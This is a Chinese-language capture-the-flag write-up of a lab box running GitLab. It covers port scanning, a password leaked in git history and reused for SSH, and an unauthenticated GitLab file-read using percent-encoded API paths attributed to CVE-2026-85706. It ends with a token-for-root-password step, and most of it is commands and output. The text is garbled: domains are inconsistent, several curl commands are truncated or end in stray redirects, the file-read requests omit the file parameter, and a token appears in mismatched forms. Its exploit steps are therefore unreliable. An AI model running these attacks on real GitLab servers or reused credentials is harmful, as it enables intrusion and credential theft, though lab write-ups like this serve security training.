

Labbb WriteUp

- 靶机：192.168.3.130 / labbb.dsz / hostname Labbb
- 攻击机：192.168.3.84 (Kali)
- 系统：Debian 13 (trixie), 内核 7.1.6-3-liquorix-amd64
- 服务：OpenSSH 10.0p2、Apache httpd 2.4.68、GitLab CE 19.3.1、nginx 1.31.0 (8060)
- 难度：中 (Web 入口 + 未认证 LFI + 配置泄露)
- 目标：user.txt / root.txt

阶段 0 信息收集

```
ping -c 2 192.168.3.130
# 64 bytes from 192.168.3.130: icmp_seq=1 ttl=64 time=1.30 ms

nmap -Pn -T4 -p- --min-rate 3000 192.168.3.130
# PORT      STATE SERVICE
# 22/tcp    open  ssh
# 80/tcp    open  http
# 8060/tcp  open  aero
# MAC Address: 08:00:27:10:8E:4E (Oracle VirtualBox virtual NIC)

nmap -Pn -sV -sC -p22,80,8060 192.168.3.130
# 22/tcp    open  ssh      OpenSSH 10.0p2 Debian 7+deb13u4
# 80/tcp    open  http     Apache httpd 2.4.68
# | http-title: Sign in \xC2\xB7 GitLab
# |_Requested resource was http://labbb.dsz/users/sign_in
# 8060/tcp  open  http     nginx 1.31.0
# |_http-title: 404 Not Found

grep -q labbb.dsz /etc/hosts || echo "192.168.3.130 labbb.dsz" >> /etc/hosts
```

为什么先全端口再服务识别：8060 不是常见端口，必须单独确认；80 返回的 title 直接暴露是 GitLab，且跳转域名 `labbb.dsz` 说明需要写 hosts，否则 GitLab 的 Host 校验和后续 LFI 的 URL 拼装都不通。

8060 全部路径 404，只有 `/metrics` 和 `/nginx_status` 返回 403
(`allow 127.0.0.1` 限制)，是本机监控用 nginx，不构成入口，记录后放弃。

阶段 1 公开仓库与历史 commit 泄露

```
curl -s "http://labbbb.dsz/api/v4/projects?per_page=20"
# [{"id":1,"name":"server","path_with_namespace":"root/server",...
#   "description":"内网服务器运维仓库","visibility":"public",...}]

cd /tmp && git clone http://labbbb.dsz/root/server.git
cd server && git log --oneline
# 4a5d507 chore: 口令脱敏, 统一迁移至 vault 管理
# e3ba71d feat: 备份脚本支持保留周期配置
# 875e7d3 init: 服务器运维仓库初始化, 补充服务器清单

git show 875e7d3 -- ops/servers.md
# +| 运维账号 | admin |
# +| 登录口令 | 87jcyZ9tEWBfOB9VaaSV |
# - 机器上跑 apache2 做反代, GitLab 自带 nginx 监听 127.0.0.1:8080
# - 登录口令已迁至 vault (kv/labbbb/ops), 仓库内不再保留明文
```

为什么盯历史 commit: 当前 HEAD 的口令已打成 `*****`, 但 git 只在最新提交里做了“脱敏”, 旧提交仍保存明文对象; `git log` 一句“口令脱敏, 统一迁移至 vault”等于直接指出要去翻历史。

拿到口令后先验证各入口, GitLab 侧已改密, 但系统账号复用了同一口令:

```
# GitLab 登录 (失败)
curl -s -X POST http://labbbb.dsz/users/sign_in \
  --data-urlencode "authenticity_token=$CSRF" \
  --data-urlencode "user[login]=root" \
  --data-urlencode "user[password]=87jcyZ9tEWBfOB9VaaSV"
# Invalid login or password.

# SSH 复用 (成功)
sshpass -p '87jcyZ9tEWBfOB9VaaSV' ssh caiyepian_flowerwith@192.168.3.130
# uid=1000(caiyepian_flowerwith) gid=1000(caiyepian_flowerwith) groups=1000(caiyepian_flowerwith)
```

为什么先试 SSH: `/etc/passwd` 里系统账号只有 root 和小写怪名的 `caiyepian_flowerwith`, 而口令属于“运维账号”语义, 配合 CTF 常见的密码复用, 直接判定其可能用于系统登录。

```
sshpass -p '87jcyZ9tEWBfOB9VaaSV' ssh caiyepian_flowerwith@192.168.3.130
# flag{user-24fc6f5eb74ff9c0d370b348037b13b0}
```

阶段 2 CVE-2026-85706 未认证任意文件读

GitLab 版本从 `/metrics` 未授权端点直接读到：

```
curl -s http://labbb.dsz/-/metrics | grep -i 'deployments{'  
# deployments{revision="668508315ee",version="19.3.1"} 1
```

为什么查版本而不是扫目录：19.3.1 落在 CVE-2026-85706 影响范围（18.7 < 19.1.8、19.2 < 19.2.6、19.3 < 19.3.2），该漏洞是 repository commits API 缺认证 + Workhorse 路由正则与 Puma 解码不一致导致的路径穿越，属于本人本次的既定入口，比目录爆破命中率高。

漏洞利用点：Workhorse 对路径做正则匹配时不解码 `%xx`，而 Puma 先解码再交给 Grape 路由，于是把静态段任意一个字符百分号编码即可绕过 Workhorse，把请求直接交给读文件的 handler；`file=` 传空即可满足 `requires :file, WorkhorseFile` 校验。

```
# 基线：不编码，被 Workhorse 接管，走不到 handler  
curl -s -X POST "http://labbb.dsz/api/v4/projects/1/repository/commits?file=" >>  
# {"message":"401 Unauthorized"}  
  
# 编码绕过：尾斜杠形式直接触发读取  
curl -s -X POST "http://labbb.dsz/api/v4/projects/1/repository/commits/?file=" >>  
# {"message":"400 Bad request - Invalid parameter: invalid %-encoding (root)" }  
# ...caiyepian_flowerwith:x:1000:1000:caiyepian flowerwith 100%:/home/caiyepian
```

为什么回显只在这种文件上出现：读取发生在 handler 里，Rails 会把读到的字节丢给 `Rack::Utils.parse_nested_query`，只要文件里存在一个 `%` 且后面不是两位十六进制，解析器就把整段内容拼进 `invalid %-encoding (...)` 错误消息一并返回；`/etc/passwd` 里恰好有 `100%`（GECOS 字段），所以能整份读出。文件不含这种序列时读仍会发生，只是没有回显，响应变成 401/“local file not present”，可当存在性 oracle 用。

<code>/api/v4/projects/1/repository/commits/</code>	# 尾斜杠
<code>/api/v4/projects/1/repository/commits.json</code>	# Grape 格式后缀
<code>/api/v4/projects/1/repository/%63ommits</code>	# 编码静态段字符
<code>/api/v4/projects/1/repository/%66iles/x</code>	# files 端点

（`..%2f`、`%252f`、`....//`、`%2e%2e/` 等路径穿越写法均被 GitLab 自身的 path traversal 检测挡成 400/404，静态段编码形式才有效。）

阶段 3 读 GitLab 组件配置文件拿 token

LFI 进程身份是 GitLab 服务用户 `git`，所以 `/etc/gitlab/*`（600 root）读不到，但 `/var/opt/gitlab/**`（git 可读）全部可达。逐个读配置文件：

```
curl -s -X POST "http://labbb.dsz/api/v4/projects/1/repository/commits/?f:
# ...host: labbb.dsz / port: 80 / Default is 95% of the worker timeout ..

curl -s -X POST "http://labbb.dsz/api/v4/projects/1/repository/commits/?f:
# 回显 54280 字节 (unixsocketperm 777 等完整 redis 配置)
```

从 redis.conf 泄漏内容里搜到出题人留的注记：

```
grep -niE "token|vault|secret|password" /tmp/redis_leak.txt
# 708:# ops note: root verification token rotated 2026-08 -> NBtrOnujlI4T:
```

为什么先读 **redis.conf**： `servers.md` 提到“口令已迁至 vault (kv/labbb/ops)”，而 `unixsocketperm 777` 这种刻意放宽的配置说明 redis 是这台机器的一个关注点；同时 LFI 只能回显含坏 `%` 的文件，redis.conf 这种带大量注释和格式化符号的模板文件必然命中，能一次拿到大段原文。

阶段 4 root 提权

`/opt` 下有个 root 所有、权限 `-rwx--x--x`（可执行不可读）的二进制，需要 token 参数：

```
ls -la /opt/show_root_password
# -rwx--x--x 1 root root 690536 Sep 11 23:53 /opt/show_root_password

/opt/show_root_password
# usage: /opt/show_root_password <token>
/opt/show_root_password abc
# invalid token
```

用阶段 3 拿到的 token：

```
/opt/show_root_password NBtrOnujlI4TitRAku6Y
# zkEhozVixHtvFaa4u7Eu
```

为什么不能直接读这个二进制：711 表示 other 只有 x 没有 r，`strings` / `cat` 都被拒；程序本身就是“凭证兑换器”，真正的门槛是 token，token 又只能靠 LFI 从 git 可读的配置文件里挖，两个点串成一条链。

拿到 root 密码后登录：

```
sshpas -p 'zkEhozVixHtvFaa4u7Eu' ssh root@192.168.3.130 'id; cat /root/root.txt'
# uid=0(root) gid=0(root) groups=0(root)
# flag{root-6fbda23b9a613fcacf56f373ab171172}
```

完整命令速查

```
# 1. 侦察
nmap -Pn -T4 -p- --min-rate 3000 192.168.3.130
nmap -Pn -sV -sC -p22,80,8060 192.168.3.130
echo "192.168.3.130 labbb.dsz" >> /etc/hosts

# 2. 公开仓库 + 历史 commit 取口令
curl -s "http://labbb.dsz/api/v4/projects?per_page=20"
git clone http://labbb.dsz/root/server.git && cd server
git log --oneline && git show 875e7d3 -- ops/servers.md

# 3. 密码复用拿 SSH
sshpas -p '87jcyZ9tEWBfOB9VaaSV' ssh caiyepian_flowerwith@192.168.3.130
cat ~/user.txt

# 4. 确认 GitLab 版本 (CVE-2026-85706 命中)
curl -s http://labbb.dsz/-/metrics | grep 'deployments{'

# 5. 未认证 LFI 读文件
curl -s -X POST "http://labbb.dsz/api/v4/projects/1/repository/commits/?format=json"
curl -s -X POST "http://labbb.dsz/api/v4/projects/1/repository/commits/?format=json"
grep -niE "token|vault" /tmp/redis_leak.txt
# 708:# ops note: root verification token rotated 2026-08 -> NBtrOnujlI4TitRAku6Y

# 6. 兑换 root 密码
/opt/show_root_password NBtrOnujlI4TitRAku6Y
sshpas -p 'zkEhozVixHtvFaa4u7Eu' ssh root@192.168.3.130 'cat /root/root.txt'
```

复盘要点

1. GitLab 的 `/-/metrics`、`/-/health`、`/-/readiness` 默认未授权可读，`deployments{version=...}` 直接给出精确版本，省掉整轮目录爆破；这决定后续是打 CVE 还是打业务。
2. git 脱敏只覆盖最新提交，旧对象仍在；遇到“口令迁移/脱敏”类提交，`git log --all` + `git show` 是第一步。
3. CVE-2026-85706 的关键是 Workhorse 与 Puma 的解码差异：静态段任意字符 `%XX` 编码、尾斜杠或 `.json` 后缀都能让请求落到未认证的读文件 handler，而路径穿越写法反而被 GitLab 自己的检测拦掉。

4. 该 LFI 的回显是“副作用”而非设计：只有文件里存在 `%` 且后接非两位 hex 时才把内容拼进错误消息；实际消息取的是 `parse_nested_query` 第一个 `=` 之后、第一个 `;/&` 之前的那一段，所以文件开头（第一个 `=` 之前）和分隔符之后的内容读不到，这也是 `redis.conf` 开头缺失的原因。
5. LFI 的执行身份是 GitLab 服务账号 `git`，`/etc/gitlab/*`（600 root）读不到，但 `/var/opt/gitlab/**` 全在射程内，配置目录 `/var/opt/gitlab/gitlab-rails/etc/` 权限 `drwx----- git root` 恰好只有该身份可进——SSH 用户 + LFI 的组合意义就在这里。
6. `/opt/show_root_password` 用 711 权限藏二进制、只暴露可执行入口，是典型的“凭证兑换器”设计；只要找到 token 文件（`redis.conf` 注释）即可一键拿 root，不需要逆向。
7. 靶机遗留物（未清理，按约定不主动清理目标）：`/tmp/pre.c`、`/tmp/pre.so`、`/tmp/pre.log`、`/tmp/dump.c`、`/tmp/dump`；清理方式为 root 下 `rm -f /tmp/pre.* /tmp/dump*`。